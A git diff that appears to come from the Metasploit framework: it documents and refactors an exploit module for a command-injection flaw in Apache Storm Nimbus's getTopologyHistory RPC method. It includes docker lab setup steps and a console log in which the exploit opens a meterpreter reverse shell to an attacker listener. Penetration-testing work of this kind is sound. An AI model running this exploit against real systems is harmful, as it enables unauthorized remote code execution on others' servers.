diff --git a/documentation/modules/exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec.md b/documentation/modules/exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec.md new file mode 100644 index 0000000000..f9bca581c1 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec.md @@ -0,0 +1,76 @@ +## Vulnerable Application + +This module exploits a command injection vulnerability within the Nimbus service component of Apache Storm. +The getTopologyHistory RPC method method takes a single argument which is the name of a user which is +concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there +must have been at least one topology submitted to the server. The topology may be active or inactive, but at +least one must be present. + +This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0 +which is affected. + +## Verification Steps + +1. Setup a minimal Storm cluster using the published docker images. The following steps were adapted from [Docker + reference][1]. + * The following steps can be executed to start up a minimal Storm cluster, but requires the [Storm Starter][2] jar + to exist in the current directory as `topology.jar`. Follow the steps on the [projects page][3] to build it with + Maven. Storm Starter v2.4.0 was used for testing. + +``` +# 1. Start a ZooKeeper server: +docker run -d --rm --name some-zookeeper zookeeper +# 2. Start a Nimbus server: +docker run -p 6627:6627 -d --rm --name some-nimbus --link some-zookeeper:zookeeper \ + storm:2.2.0 storm nimbus +# 3. Start a Supervisor server: +docker run -d --rm --name supervisor1 --link some-zookeeper:zookeeper --link some-nimbus:nimbus \ + storm:2.2.0 storm supervisor +# 4. Submit a topology using Storm Starter: +docker run --rm --link some-nimbus:nimbus -it -v $(pwd)/topology.jar:/topology.jar \ + storm:2.2.0 storm jar /topology.jar \ + org.apache.storm.starter.ExclamationTopology exclamation +``` +2. Start `msfconsole` +3. Do: `exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec` +4. Set the module options +5. Do: `exploit` +6. You should get a shell + +## Options + +## Scenarios + +### Debian 11.1 x64, Apache Storm v2.2.0 (From Docker) + +``` +msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set TARGET 1 +TARGET => 1 +msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +PAYLOAD => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check +[*] 192.168.159.31:6627 - The target appears to be vulnerable. Successfully tested command injection. +msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit + +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] 192.168.159.31:6627 - Running automatic check ("set AutoCheck false" to disable) +[+] 192.168.159.31:6627 - The target appears to be vulnerable. Successfully tested command injection. +[*] 192.168.159.31:6627 - Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Sending stage (3012548 bytes) to 192.168.159.31 +[*] 192.168.159.31:6627 - Command Stager progress - 100.00% done (823/823 bytes) +[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:51680 ) at 2021-11-12 14:45:37 -0500 + +meterpreter > getuid +Server username: storm +meterpreter > sysinfo +Computer : 172.17.0.3 +OS : Debian 11.1 (Linux 5.4.0-89-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +[1]: https://hub.docker.com/_/storm +[2]: https://github.com/apache/storm/tree/master/examples/storm-starter +[3]: https://github.com/apache/storm/tree/master/examples/storm-starter#build-and-install-storm-jars-locally diff --git a/lib/rex/proto/thrift.rb b/lib/rex/proto/thrift.rb new file mode 100644 index 0000000000..0045aff2d7 --- /dev/null +++ b/lib/rex/proto/thrift.rb @@ -0,0 +1,54 @@ +# -*- coding: binary -*- + +module Rex::Proto::Thrift + class DataType < BinData::Uint8 + T_STOP = 0 + T_UTF7 = 11 + + default_parameter assert: -> { !DataType.name(value).nil? } + + def self.name(value) + constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } + end + + def to_sym + self.class.name(value) + end + end + + class MessageType < BinData::Uint16be + CALL = 1 + REPLY = 2 + + default_parameter assert: -> { !MessageType.name(value).nil? } + + def self.name(value) + constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } + end + + def to_sym + self.class.name(value) + end + end + + class Header < BinData::Record + endian :big + + uint16 :version, initial_value: 0x8001 + message_type :message_type + uint32 :method_name_length, value: -> { method_name.length } + string :method_name, read_length: :method_name_length + uint32 :sequence_id + end + + class Data < BinData::Record + endian :big + + data_type :data_type, initial_value: DataType::T_STOP + uint16 :field_id, onlyif: -> { data_type != DataType::T_STOP } + uint32 :data_length, onlyif: -> { data_type != DataType::T_STOP }, value: -> { data_value.length } + choice :data_value, onlyif: -> { data_type != DataType::T_STOP }, selection: :data_type do + string DataType::T_UTF7 + end + end +end diff --git a/modules/exploits/linux/misc/nimbus_gettopology_cmd_exec.rb b/modules/exploits/linux/misc/nimbus_gettopologyhistory_cmd_exec.rb similarity index 68% rename from modules/exploits/linux/misc/nimbus_gettopology_cmd_exec.rb rename to modules/exploits/linux/misc/nimbus_gettopologyhistory_cmd_exec.rb index 130103092f..9fc182405b 100644 --- a/modules/exploits/linux/misc/nimbus_gettopology_cmd_exec.rb +++ b/modules/exploits/linux/misc/nimbus_gettopologyhistory_cmd_exec.rb @@ -3,6 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'rex/proto/thrift' + class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -10,16 +12,22 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager + Thrift = Rex::Proto::Thrift + def initialize(info = {}) super( update_info( info, - 'Name' => '', + 'Name' => 'Apache Storm Nimbus getTopologyHistory Command Execution', 'Description' => %q{ - This module exploits a command injection vulnerability within the Nimbus service's getTopologyHistory RPC - method. The method takes a single argument which is the name of a user which is concatenated into a string - that is executed by bash. In order for the vulnerability to be exploitable, there must have been at least one - topology submitted to the server. The topology may be active or inactive, but at least one must be present. + This module exploits a command injection vulnerability within the Nimbus service component of Apache Storm. + The getTopologyHistory RPC method method takes a single argument which is the name of a user which is + concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there + must have been at least one topology submitted to the server. The topology may be active or inactive, but at + least one must be present. + + This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0 + which is affected. }, 'Author' => [ 'Alvaro Muñoz', # discovery and original research @@ -146,57 +154,4 @@ class MetasploitModule < Msf::Exploit::Remote rescue Timeout::Error return nil end - - module Thrift - class DataType < BinData::Uint8 - T_STOP = 0 - T_UTF7 = 11 - - default_parameter assert: -> { !DataType.name(value).nil? } - - def self.name(value) - constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } - end - - def to_sym - self.class.name(value) - end - end - - class MessageType < BinData::Uint16be - CALL = 1 - REPLY = 2 - - default_parameter assert: -> { !MessageType.name(value).nil? } - - def self.name(value) - constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } - end - - def to_sym - self.class.name(value) - end - end - - class Header < BinData::Record - endian :big - - uint16 :version, initial_value: 0x8001 - message_type :message_type - uint32 :method_name_length, value: -> { method_name.length } - string :method_name, read_length: :method_name_length - uint32 :sequence_id - end - - class Data < BinData::Record - endian :big - - data_type :data_type, initial_value: DataType::T_STOP - uint16 :field_id, onlyif: -> { data_type != DataType::T_STOP } - uint32 :data_length, onlyif: -> { data_type != DataType::T_STOP }, value: -> { data_value.length } - choice :data_value, onlyif: -> { data_type != DataType::T_STOP }, selection: :data_type do - string DataType::T_UTF7 - end - end - end end